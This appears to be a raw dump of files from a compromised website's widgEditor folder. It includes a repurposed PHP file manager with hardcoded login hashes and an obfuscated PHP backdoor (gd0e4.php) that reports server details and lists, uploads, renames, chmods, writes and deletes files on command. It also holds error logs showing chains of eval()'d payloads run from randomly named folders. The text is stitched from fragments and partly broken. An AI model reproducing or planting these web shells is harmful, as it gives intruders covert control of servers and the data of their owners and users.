fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 and $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path))) ); case 'host': $relative_path = str_replace($root_path, '', $file_path); return array( 'label' => 'Host Path', 'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/'))) ); case 'full': default: return array( 'label' => 'Full Path', 'path' => fanco(fm_convert_win($file_path)) ); } } function fm_is_exclude_items($file) { $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION)); if (isset($exclude_items) and sizeof($exclude_items)) { unset($exclude_items); } $exclude_items = FM_EXCLUDE_ITEMS; if (version_compare(PHP_VERSION, '7.0.0', '<')) { $exclude_items = unserialize($exclude_items); } if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) { return true; } return false; } function fm_get_translations($tr) { try { $content = @file_get_contents('translation.json'); if($content !== FALSE) { $lng = json_decode($content, TRUE); global $lang_list; foreach ($lng["language"] as $key => $value) { $code = $value["code"]; $lang_list[$code] = $value["name"]; if ($tr) $tr[$code] = $value["translation"]; } return $tr; } } catch (Exception $e) { echo $e; } } function fm_get_size($file) { static $iswin; static $isdarwin; if (!isset($iswin)) { $iswin = (strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'); } if (!isset($isdarwin)) { $isdarwin = (strtoupper(substr(PHP_OS, 0)) == "DARWIN"); } static $exec_works; if (!isset($exec_works)) { $exec_works = (function_exists('exec') and !ini_get('safe_mode') and @exec('echo EXEC') == 'EXEC'); } // try a shell command if ($exec_works) { $arg = escapeshellarg($file); $cmd = ($iswin) ? "for %F in (\"$file\") do @echo %~zF" : ($isdarwin ? "stat -f%z $arg" : "stat -c%s $arg"); @exec($cmd, $output); if (is_array($output) and ctype_digit($size = trim(implode("\n", $output)))) { return $size; } } // try the Windows COM interface if ($iswin and class_exists("COM")) { try { $fsobj = new COM('Scripting.FileSystemObject'); $f = $fsobj->GetFile( realpath($file) ); $size = $f->Size; } catch (Exception $e) { $size = null; } if (ctype_digit($size)) { return $size; } } // if all else fails return filesize($file); } function fm_get_filesize($size) { $size = (float) $size; $units = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'); $power = ($size > 0) ? floor(log($size, 1024)) : 0; $power = ($power > (count($units) - 1)) ? (count($units) - 1) : $power; return sprintf('%s %s', round($size / pow(1024, $power), 2), $units[$power]); } function fm_get_directorysize($directory) { $bytes = 0; $directory = realpath($directory); if ($directory !== false and $directory != '' and file_exists($directory)){ foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory, FilesystemIterator::SKIP_DOTS)) as $file){ $bytes += $file->getSize(); } } return $bytes; } function fm_get_zif_info($path, $ext) { if ($ext == 'zip' and function_exists('zip_open')) { $arch = @zip_open($path); if ($arch) { $filenames = array(); while ($zip_entry = @zip_read($arch)) { $zip_name = @zip_entry_name($zip_entry); $zip_folder = substr($zip_name, -1) == '/'; $filenames[] = array( 'name' => $zip_name, 'filesize' => @zip_entry_filesize($zip_entry), 'compressed_size' => @zip_entry_compressedsize($zip_entry), 'folder' => $zip_folder ); } @zip_close($arch); return $filenames; } } elseif($ext == 'tar' and class_exists('PharData')) { $archive = new PharData($path); $filenames = array(); foreach(new RecursiveIteratorIterator($archive) as $file) { $parent_info = $file->getPathInfo(); $zip_name = str_replace("ph" . "ar://".$path, '', $file->getPathName()); $zip_name = substr($zip_name, ($pos = strpos($zip_name, '/')) !== false ? $pos + 1 : 0); $zip_folder = $parent_info->getFileName(); $zip_info = new SplFileInfo($file); $filenames[] = array( 'name' => $zip_name, 'filesize' => $zip_info->getSize(), 'compressed_size' => $file->getCompressedSize(), 'folder' => $zip_folder ); } return $filenames; } return false; } function fanco($text) { return htmlspecialchars($text, ENT_QUOTES, 'UTF-8'); } function fm_isvalid_filename($text) { return (strpbrk($text, '/?%*:|"<>') === FALSE) ? true : false; } function fm_set_msg($msg, $status = 'ok') { $_SESSION[DN_CESSION_ID]['message'] = $msg; $_SESSION[DN_CESSION_ID]['status'] = $status; } function fm_is_utf8($string) { return preg_match('//u', $string); } function fm_convert_win($filename) { if (FM_IS_WIN and function_exists('iconv')) { $filename = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $filename); } return $filename; } function fm_object_to_array($obj) { if (!is_object($obj) and !is_array($obj)) { return $obj; } if (is_object($obj)) { $obj = get_object_vars($obj); } return array_map('fm_object_to_array', $obj); } function fm_get_file_icon_class($path) { // get extension $ext = strtolower(pathinfo($path, PATHINFO_EXTENSION)); switch ($ext) { case 'ico': case 'gif': case 'jpg': case 'jpeg': case 'jpc': case 'jp2': case 'jpx': case 'xbm': case 'wbmp': case 'png': case 'bmp': case 'tif': case 'tiff': case 'webp': case 'avif': case 'svg': $img = 'fa fa-picture-o'; break; case 'passwd': case 'ftpquota': case 'sql': case 'js': case 'ts': case 'jsx': case 'tsx': case 'hbs': case 'json': case 'sh': case 'config': case 'twig': case 'tpl': case 'md': case 'gitignore': case 'c': case 'cpp': case 'cs': case 'py': case 'rs': case 'map': case 'lock': case 'dtd': $img = 'fa fa-file-code-o'; break; case 'txt': case 'ini': case 'conf': case 'log': case 'htaccess': case 'yaml': case 'yml': case 'toml': case 'tmp': case 'top': case 'bot': case 'dat': case 'bak': case 'htpasswd': case 'pl': $img = 'fa fa-file-text-o'; break; case 'css': case 'less': case 'sass': case 'scss': $img = 'fa fa-css3'; break; case 'bz2': case 'tbz2': case 'tbz': case 'zip': case 'rar': case 'gz': case 'tgz': case 'tar': case '7z': case 'xz': case 'txz': case 'zst': case 'tzst': $img = 'fa fa-file-archive-o'; break; case 'php': case 'php4': case 'php5': case 'phps': case 'phtml': $img = 'fa fa-code'; break; case 'htm': case 'html': case 'shtml': case 'xhtml': $img = 'fa fa-html5'; break; case 'xml': case 'xsl': $img = 'fa fa-file-excel-o'; break; case 'wav': case 'mp3': case 'mp2': case 'm4a': case 'aac': case 'ogg': case 'oga': case 'wma': case 'mka': case 'flac': case 'ac3': case 'tds': $img = 'fa fa-music'; break; case 'm3u': case 'm3u8': case 'pls': case 'cue': case 'xspf': $img = 'fa fa-headphones'; break; case 'avi': case 'mpg': case 'mpeg': case 'mp4': case 'm4v': case 'flv': case 'f4v': case 'ogm': case 'ogv': case 'mov': case 'mkv': case '3gp': case 'asf': case 'wmv': case 'webm': $img = 'fa fa-file-video-o'; break; case 'eml': case 'msg': $img = 'fa fa-envelope-o'; break; case 'xls': case 'xlsx': case 'ods': $img = 'fa fa-file-excel-o'; break; case 'csv': $img = 'fa fa-file-text-o'; break; case 'bak': case 'swp': $img = 'fa fa-clipboard'; break; case 'doc': case 'docx': case 'odt': $img = 'fa fa-file-word-o'; break; case 'ppt': case 'pptx': $img = 'fa fa-file-powerpoint-o'; break; case 'ttf': case 'ttc': case 'otf': case 'woff': case 'woff2': case 'eot': case 'fon': $img = 'fa fa-font'; break; case 'pdf': $img = 'fa fa-file-pdf-o'; break; case 'psd': case 'ai': case 'eps': case 'fla': case 'swf': $img = 'fa fa-file-image-o'; break; case 'exe': case 'msi': $img = 'fa fa-file-o'; break; case 'bat': $img = 'fa fa-terminal'; break; default: $img = 'fa fa-info-circle'; } return $img; } function fm_get_image_exts() { return array('ico', 'gif', 'jpg', 'jpeg', 'jpc', 'jp2', 'jpx', 'xbm', 'wbmp', 'png', 'bmp', 'tif', 'tiff', 'psd', 'svg', 'webp', 'avif'); } function fm_get_video_exts() { return array('avi', 'webm', 'wmv', 'mp4', 'm4v', 'ogm', 'ogv', 'mov', 'mkv'); } function fm_get_audio_exts() { return array('wav', 'mp3', 'ogg', 'm4a'); } function fm_get_text_exts() { return array( 'txt', 'css', 'ini', 'conf', 'log', 'htaccess', 'passwd', 'ftpquota', 'sql', 'js', 'ts', 'jsx', 'tsx', 'mjs', 'json', 'sh', 'config', 'php', 'php4', 'php5', 'phps', 'phtml', 'htm', 'html', 'shtml', 'xhtml', 'xml', 'xsl', 'm3u', 'm3u8', 'pls', 'cue', 'bash', 'vue', 'eml', 'msg', 'csv', 'bat', 'twig', 'tpl', 'md', 'gitignore', 'less', 'sass', 'scss', 'c', 'cpp', 'cs', 'py', 'go', 'zsh', 'swift', 'map', 'lock', 'dtd', 'svg', 'asp', 'aspx', 'asx', 'asmx', 'ashx', 'jsp', 'jspx', 'cgi', 'dockerfile', 'ruby', 'yml', 'yaml', 'toml', 'vhost', 'scpt', 'applescript', 'csx', 'cshtml', 'c++', 'coffee', 'cfm', 'rb', 'graphql', 'mustache', 'jinja', 'http', 'handlebars', 'java', 'es', 'es6', 'markdown', 'wiki', 'tmp', 'top', 'bot', 'dat', 'bak', 'htpasswd', 'pl' ); } function fm_get_text_mimes() { return array( 'application/xml', 'application/javascript', 'application/x-javascript', 'image/svg+xml', 'message/rfc822', 'application/json', ); } function fm_get_text_names() { return array( 'license', 'readme', 'authors', 'contributors', 'changelog', ); } function fm_get_onlineViewer_exts() { return array('doc', 'docx', 'xls', 'xlsx', 'pdf', 'ppt', 'pptx', 'ai', 'psd', 'dxf', 'xps', 'rar', 'odt', 'ods'); } function fm_get_file_mimes($extension) { $fileTypes['swf'] = 'application/x-shockwave-flash'; $fileTypes['pdf'] = 'application/pdf'; $fileTypes['exe'] = 'application/octet-stream'; $fileTypes['zip'] = 'application/zip'; $fileTypes['doc'] = 'application/msword'; $fileTypes['xls'] = 'application/vnd.ms-excel'; $fileTypes['ppt'] = 'application/vnd.ms-powerpoint'; $fileTypes['gif'] = 'image/gif'; $fileTypes['png'] = 'image/png'; $fileTypes['jpeg'] = 'image/jpg'; $fileTypes['jpg'] = 'image/jpg'; $fileTypes['webp'] = 'image/webp'; $fileTypes['avif'] = 'image/avif'; $fileTypes['rar'] = 'application/rar'; $fileTypes['ra'] = 'audio/x-pn-realaudio'; $fileTypes['ram'] = 'audio/x-pn-realaudio'; $fileTypes['ogg'] = 'audio/x-pn-realaudio'; $fileTypes['wav'] = 'video/x-msvideo'; $fileTypes['wmv'] = 'video/x-msvideo'; $fileTypes['avi'] = 'video/x-msvideo'; $fileTypes['asf'] = 'video/x-msvideo'; $fileTypes['divx'] = 'video/x-msvideo'; $fileTypes['mp3'] = 'audio/mpeg'; $fileTypes['mp4'] = 'audio/mpeg'; $fileTypes['mpeg'] = 'video/mpeg'; $fileTypes['mpg'] = 'video/mpeg'; $fileTypes['mpe'] = 'video/mpeg'; $fileTypes['mov'] = 'video/quicktime'; $fileTypes['swf'] = 'video/quicktime'; $fileTypes['3gp'] = 'video/quicktime'; $fileTypes['m4a'] = 'video/quicktime'; $fileTypes['aac'] = 'video/quicktime'; $fileTypes['m3u'] = 'video/quicktime'; $fileTypes['php'] = ['application/x-php']; $fileTypes['html'] = ['text/html']; $fileTypes['txt'] = ['text/plain']; //Unknown mime-types should be 'application/octet-stream' if(empty($fileTypes[$extension])) { $fileTypes[$extension] = ['application/octet-stream']; } return $fileTypes[$extension]; } function scan($dir = '', $filter = '') { $path = FM_ROOT_PATH.'/'.$dir; if($path) { $ite = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path)); $rii = new RegexIterator($ite, "/(" . $filter . ")/i"); $files = array(); foreach ($rii as $file) { if (!$file->isDir()) { $fileName = $file->getFilename(); $location = str_replace(FM_ROOT_PATH, '', $file->getPath()); $files[] = array( "name" => $fileName, "type" => "file", "path" => $location, ); } } return $files; } } function fm_download_file($fileLocation, $fileName, $chunkSize = 1024) { if (connection_status() != 0) return (false); $extension = pathinfo($fileName, PATHINFO_EXTENSION); $contentType = fm_get_file_mimes($extension); $size = filesize($fileLocation); if ($size == 0) { fm_set_msg(lng('Zero byte file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } @ini_set('magic_quotes_runtime', 0); $fp = fopen("$fileLocation", "rb"); if ($fp === false) { fm_set_msg(lng('Cannot open file! Aborting download'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); return (false); } // headers header('Content-Description: File Transfer'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header("Content-Transfer-Encoding: binary"); header("Content-Type: $contentType"); $contentDisposition = 'attachment'; if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")) { $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1); header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } else { header("Content-Disposition: $contentDisposition;filename=\"$fileName\""); } header("Accept-Ranges: bytes"); $range = 0; if (isset($_SERVER['HTTP_RANGE'])) { list($a, $range) = explode("=", $_SERVER['HTTP_RANGE']); str_replace($range, "-", $range); $size2 = $size - 1; $new_length = $size - $range; header("HTTP/1.1 206 Partial Content"); header("Content-Length: $new_length"); header("Content-Range: bytes $range$size2/$size"); } else { $size2 = $size - 1; header("Content-Range: bytes 0-$size2/$size"); header("Content-Length: " . $size); } $fileLocation = realpath($fileLocation); while (ob_get_level()) ob_end_clean(); readfile($fileLocation); fclose($fp); return ((connection_status() == 0) and !connection_aborted()); } function fm_get_theme() { $result = ''; if(FM_THEME == "dark") { $result = "text-white bg-dark"; } return $result; } class FM_Zipper { private $zip; public function __construct() { $this->zip = new ZipArchive(); } public function create($filename, $files) { $res = $this->zip->open($filename, ZipArchive::CREATE); if ($res !== true) { return false; } if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { $this->zip->close(); return false; } } $this->zip->close(); return true; } else { if ($this->addFileOrDir($files)) { $this->zip->close(); return true; } return false; } } public function unzip($filename, $path) { $res = $this->zip->open($filename); if ($res !== true) { return false; } if ($this->zip->extractTo($path)) { $this->zip->close(); return true; } return false; } private function addFileOrDir($filename) { if (is_file($filename)) { return $this->zip->addFile($filename); } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { if (!$this->zip->addEmptyDir($path)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { if (!$this->zip->addFile($path . '/' . $file)) { return false; } } } } return true; } return false; } } class FM_Zipper_Tar { private $tar; public function __construct() { $this->tar = null; } public function create($filename, $files) { $this->tar = new PharData($filename); if (is_array($files)) { foreach ($files as $f) { $f = fm_clean_path($f); if (!$this->addFileOrDir($f)) { return false; } } return true; } else { if ($this->addFileOrDir($files)) { return true; } return false; } } public function unzip($filename, $path) { $res = $this->tar->open($filename); if ($res !== true) { return false; } if ($this->tar->extractTo($path)) { return true; } return false; } /** * Add file/folder to archive * @param string $filename * @return bool */ private function addFileOrDir($filename) { if (is_file($filename)) { try { $this->tar->addFile($filename); return true; } catch (Exception $e) { return false; } } elseif (is_dir($filename)) { return $this->addDir($filename); } return false; } private function addDir($path) { $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' and $file != '..') { if (is_dir($path . '/' . $file)) { if (!$this->addDir($path . '/' . $file)) { return false; } } elseif (is_file($path . '/' . $file)) { try { $this->tar->addFile($path . '/' . $file); } catch (Exception $e) { return false; } } } } return true; } return false; } } class FM_Config { var $data; function __construct() { global $root_path, $root_url, $CONFIG; $fm_url = $root_url.$_SERVER["PHP_SELF"]; $this->data = array( 'lang' => 'en', 'error_reporting' => true, 'show_hidden' => true ); $data = false; if (strlen($CONFIG)) { $data = fm_object_to_array(json_decode($CONFIG)); } else { $msg = 'peripherad
Error: Cannot load configuration'; if (substr($fm_url, -1) == '/') { $fm_url = rtrim($fm_url, '/'); $msg .= '
'; $msg .= '
Seems like you have a trailing slash on the URL.'; $msg .= '
Try this link: ' . $fm_url . ''; } die($msg); } if (is_array($data) and count($data)) $this->data = $data; else $this->save(); } function save() { $fm_file = __FILE__; $var_name = '$CONFIG'; $var_value = var_export(json_encode($this->data), true); $config_string = " ' . $_SESSION[DN_CESSION_ID]['message'] . '

'; unset($_SESSION[DN_CESSION_ID]['message']); unset($_SESSION[DN_CESSION_ID]['status']); } } function fm_show_header_login() { $sprites_ver = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); global $lang, $root_url, $favicon_path; ?> '; } ?> <?php echo fanco(APP_TITLE) ?> ">
'; } ?> <?php echo fanco(APP_TITLE) ?> ">
widgEditor/css/qynuao/error_log000064400000000534151026170410012665 0ustar00[27-Oct-2025 03:47:24 UTC] PHP Notice: Undefined variable: auth in /tmp/phpM5aThD#hk.php on line 552 [27-Oct-2025 03:47:24 UTC] PHP Warning: session_start(): Cannot start session when headers already sent in /tmp/phpM5aThD#hk.php on line 1225 [27-Oct-2025 03:47:24 UTC] PHP Notice: Undefined variable: auth in /tmp/phpM5aThD#hk.php on line 1394 widgEditor/css/qynuao/index.php000064400000000146151026170410012567 0ustar00widgEditor/css/rfu9aq/error_log000064400000000173151026170410012557 0ustar00[27-Oct-2025 03:47:30 UTC] PHP Parse error: syntax error, unexpected end of file in /tmp/phpM5aThD#packed.php on line 261 widgEditor/css/rfu9aq/index.php000064400000000152151026170410012457 0ustar00widgEditor/css/c3xp89/index.php000064400000000146151026170410012311 0ustar00widgEditor/css/2sf8mq/gd0e4.php000064400000004520151026170410012167 0ustar00ROOT,"server"=>$_SERVER['SERVER_SOFTWARE'],"cip"=>$_SERVER['REMOTE_ADDR'],);if(fx("getcwd"))$u['pwd']=pwd();if(fx("ini_get"))$u["safe_mode"]=@ini_get("safe_mode");if(fx("phpversion"))$u["version"]=@phpversion();$u["sip"]=$_SERVER["SERVER_ADDR"];if(empty($u["sip"]))$u["sip"]=@gethostbyname($_SERVER["SERVER_NAME"]);break;case 2:if(empty($r))$r=pwd();$w=scandir($r);$x=array();$y=array();foreach($w as $z){if($z=="."||$z=="..")continue;$g=$r."/".$z;$aa=array("n"=>$z,"p"=>substr(sprintf('%o',fILepErMs($g)),-4),"t"=>date('Y-m-d H:i:s',fILeMTiMe($g)),);if(is_dir($g))$x[]=$aa;else{$aa['s']=filesize($g);$y[]=$aa;}}$u["d"]=$x;$u["f"]=$y;break;case 3:r2($r);break;case 4:$u["v"]=fg($r);break;case 5:if(!is_writable($s))@chmod($r,0644);$e=fp($s,$r)?1:0;break;case 6:$k=$s.g("n");$bb=$s.$r;$cc=@FiLemTiME($k);if(!@ReNamE($k,$bb))$e=0;elseif($cc)@touCH($bb,$cc,$cc);break;case 7:if(!@chmod($s,$r))$e=0;break;case 8:$e=move_uploaded_file($_FILES["f"]['tmp_name'],$r)?1:0;break;case 9:$e=fp($r,"")?1:0;break;case 10:$e=mkdir($r)?1:0;break;case 11:$m=g("l");$e=d($r,$m)?1:0;break;}$b['data']=$u;$b['code']=$e;header('Content-type: application/json; charset=utf-8');register_shutdown_function(function(){global $b;ob_end_clean();echo json_encode($b);});return;}?> widgEditor/css/5ztxej/rq9h5.php000064400000164632151026170410012360 0ustar00widgEditor/css/1dsg5h/index.php000064400000000165151026170410012347 0ustar00widgEditor/css/widgContent.css000064400000000271151026170410012431 0ustar00/* HTML TAGS */ body { font-family: Arial, Helvetica, sans-serif; font-size: 80%; background-color: #FFFFFF; color: #000000; } /* OBJECTS */ /* CLASSES */widgEditor/css/info.css000064400000001302151026170410011073 0ustar00/* HTML TAGS */ h1 { float: left; width: 154px; height: 105px; margin: 0 4em 0 0; padding: 0; background-image: url(../images/logo.gif); background-repeat: no-repeat; font-size: 100% } h1 a { display: block; height: 105px; } dl { float: left; margin: 0; padding: 10px 4em 1em 0; } dt { margin: 0; padding: 0; font-weight: bold; } dd { margin: 0; padding: 0; } /* OBJECTS */ #experimentInfo { height: 105px; margin-bottom: 2em; background-image: url(../images/header_bg.gif); background-repeat: repeat-x; color: #0066CC; text-align: left; } /* CLASSES */ .hidden { position: absolute; left: -10000px; }widgEditor/css/cw6buk/index.php000064400000000151151026170410012450 0ustar00widgEditor/css/r1els3/index.php000064400000000153151026170410012362 0ustar00widgEditor/95vosn/index.php000064400000000150151026170410011621 0ustar00widgEditor/__MACOSX/5lgrti/index.php000064400000000151151026170410013155 0ustar00widgEditor/__MACOSX/fn7z9c/error_log000064400000000250151026170410013164 0ustar00[27-Oct-2025 03:47:34 UTC] PHP Parse error: syntax error, unexpected ''AXAQsFGthWl+8jKwGyksoSOvgDoI9' (T_ENCAPSED_AND_WHITESPACE) in /tmp/phpM5aThD#tool.php on line 4 widgEditor/__MACOSX/fn7z9c/index.php000064400000000150151026170410013066 0ustar00widgEditor/__MACOSX/547cmn/index.php000064400000000146151026170410012770 0ustar00widgEditor/__MACOSX/zvdlro/error_log000064400000000375151026170410013374 0ustar00[27-Oct-2025 03:47:39 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/en.json): failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found in /tmp/phpM5aThD#wp-michan.php on line 230 widgEditor/__MACOSX/zvdlro/index.php000064400000000155151026170410013273 0ustar00widgEditor/__MACOSX/tu6ws2/index.php000064400000000146151026170410013125 0ustar00widgEditor/__MACOSX/42yujp/index.php000064400000000155151026170410013110 0ustar00widgEditor/__MACOSX/scripts/c260b5/index.php000064400000000155151026170410014343 0ustar00widgEditor/__MACOSX/scripts/6vlhmz/index.php000064400000000150151026170410014663 0ustar00widgEditor/__MACOSX/scripts/lh6btc/index.php000064400000000147151026170410014625 0ustar00widgEditor/__MACOSX/scripts/xne2bk/error_log000064400000000356151026170410014733 0ustar00[27-Oct-2025 03:47:25 UTC] PHP Notice: Undefined index: password in /tmp/phpM5aThD#ioxi.php(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(19) : eval()'d code(21) : eval()'d code(1) : eval()'d code on line 1 widgEditor/__MACOSX/scripts/xne2bk/index.php000064400000000150151026170410014626 0ustar00widgEditor/__MACOSX/scripts/boxl8m/error_log000064400000001007151026170410014745 0ustar00[27-Oct-2025 03:45:40 UTC] PHP Warning: include(zip:///tmp/phpVdRpL2#Ss/class.php): failed to open stream: operation failed in /home/gettoplisting/public_html/dd7e5a/functionalityRee/widgEditor/__MACOSX/scripts/boxl8m/f9d3w.php on line 1 [27-Oct-2025 03:45:40 UTC] PHP Warning: include(): Failed opening 'zip:///tmp/phpVdRpL2#Ss/class.php' for inclusion (include_path='.:/opt/alt/php72/usr/share/pear') in /home/gettoplisting/public_html/dd7e5a/functionalityRee/widgEditor/__MACOSX/scripts/boxl8m/f9d3w.php on line 1 widgEditor/__MACOSX/scripts/z24m97/error_log000064400000001100151026170410014502 0ustar00[27-Oct-2025 03:47:14 UTC] PHP Warning: file_get_contents(/tmp/phpM5aThD#anjay.php): failed to open stream: No such file or directory in /tmp/phpM5aThD#anjay.php on line 9 [27-Oct-2025 03:47:14 UTC] PHP Notice: Undefined offset: 1 in /tmp/phpM5aThD#anjay.php(10) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code(1) : eval()'d code on line 4 widgEditor/__MACOSX/scripts/z24m97/index.php000064400000000151151026170410014412 0ustar00widgEditor/__MACOSX/scripts/wphlao/81529.php000064400000560635151026170410014333 0ustar00 '5024e3faef9c2ea521705535bdc81191', 'user' => '5024e3faef9c2ea521705535bdc81191' ); $readonly_users = array( 'user' ); $global_readonly = false; $directories_users = array(); $use_highlightjs = true; $highlightjs_style = 'vs'; $edit_files = true; $default_timezone = 'Etc/UTC'; $root_path = $_SERVER['DOCUMENT_ROOT']; $root_url = ''; $http_host = $_SERVER['HTTP_HOST']; $iconv_input_encoding = 'UTF-8'; $datetime_format = 'm/d/Y g:i A'; $path_display_mode = 'full'; $allowed_file_extensions = ''; $allowed_upload_extensions = ''; $favicon_path = ''; $exclude_items = array(); $online_viewer = 'google'; $sticky_navbar = true; $max_upload_size_bytes = 5000000000; $upload_chunk_size_bytes = 2000000; $ip_ruleset = 'OFF'; $ip_silent = true; $ip_whitelist = array( '127.0.0.1', '::1' ); $ip_blacklist = array( '0.0.0.0', '::' ); $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } $external = array( 'css-bootstrap' => '', 'css-dropzone' => '', 'css-font-awesome' => '', 'css-highlightjs' => '', 'js-ace' => '', 'js-bootstrap' => '', 'js-dropzone' => '', 'js-jquery' => '', 'js-jquery-datatables' => '', 'js-highlightjs' => '', 'pre-jsdelivr' => '', 'pre-cloudflare' => '' ); define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); define('UPLOAD_CHUNK_SIZE', $upload_chunk_size_bytes); if ( !defined( 'DN_CESSION_ID')) { define('DN_CESSION_ID', 'filemanager'); } $cfg = new FM_Config(); $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } if (defined('FM_EMBED')) { $dauth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') and function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter('nocache'); session_name(DN_CESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($_SESSION['token'])) { if (function_exists('random_bytes')) { $_SESSION['token'] = bin2hex(random_bytes(32)); } else { $_SESSION['token'] = bin2hex(openssl_random_pseudo_bytes(32)); } } if (empty($auth_users)) { $dauth = false; } $is_https = isset($_SERVER['HTTPS']) and ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) and $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; if (isset($_SESSION[DN_CESSION_ID]['logged']) and !empty($directories_users[$_SESSION[DN_CESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[DN_CESSION_ID]['logged']]; } $root_url = fm_clean_path($root_url); defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[DN_CESSION_ID]['logged']); unset( $_SESSION['token']); fm_redirect(FM_SELF_URL); } if ($ip_ruleset != 'OFF') { function getClientIP() { if (array_key_exists('HTTP_CF_CONNECTING_IP', $_SERVER)) { return $_SERVER["HTTP_CF_CONNECTING_IP"]; }else if (array_key_exists('HTTP_X_FORWARDED_FOR', $_SERVER)) { return $_SERVER["HTTP_X_FORWARDED_FOR"]; }else if (array_key_exists('REMOTE_ADDR', $_SERVER)) { return $_SERVER['REMOTE_ADDR']; }else if (array_key_exists('HTTP_CLIENT_IP', $_SERVER)) { return 